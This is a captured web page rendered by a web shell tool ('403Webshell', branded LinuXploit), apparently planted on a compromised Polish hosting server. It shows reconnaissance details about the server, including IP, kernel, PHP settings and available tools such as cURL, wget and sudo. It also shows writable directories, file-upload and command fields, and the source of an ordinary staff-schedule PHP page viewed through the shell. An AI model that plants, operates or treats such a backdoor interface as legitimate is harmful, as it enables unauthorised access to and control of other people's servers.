403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/pracownik/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/pracownik/grafik.php
<?php
declare(strict_types=1);
require_once dirname(__DIR__).'/includes/functions.php';$user=require_staff_portal();ensure_schedule_schema();$month=trim((string)($_GET['month']??date('Y-m')));if(!preg_match('/^\d{4}-\d{2}$/',$month))$month=date('Y-m');$map=schedule_month_map($month,(int)$user['id']);$first=new DateTimeImmutable($month.'-01');$last=$first->modify('last day of this month');$prev=$first->modify('-1 month')->format('Y-m');$next=$first->modify('+1 month')->format('Y-m');render_staff_header('Mój grafik','schedule'); ?>
<div class="staff-title"><div><h1>Mój grafik</h1><p><?= e($first->format('m.Y')) ?></p></div><div class="staff-actions"><a href="?month=<?= e($prev) ?>">←</a><a href="?month=<?= e(date('Y-m')) ?>">Dziś</a><a href="?month=<?= e($next) ?>">→</a></div></div>
<section class="staff-section"><?php $has=false;for($d=1;$d<=(int)$last->format('j');$d++):$date=$month.'-'.str_pad((string)$d,2,'0',STR_PAD_LEFT);$rows=$map[$date]??[];if(!$rows)continue;$has=true;$r=$rows[0]; ?><article class="staff-row <?= $date===date('Y-m-d')?'is-today':'' ?>"><div><strong><?= e((new DateTimeImmutable($date))->format('d.m.Y')) ?></strong><small><?= $date===date('Y-m-d')?'Dzisiaj':'Zaplanowany dzień pracy' ?></small></div><b><?= e(schedule_time_label($r['start_time'],$r['end_time'])) ?></b></article><?php endfor; ?><?php if(!$has): ?><div class="staff-empty">Brak zaplanowanych dni w tym miesiącu.</div><?php endif; ?></section>
<?php render_staff_footer('schedule'); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit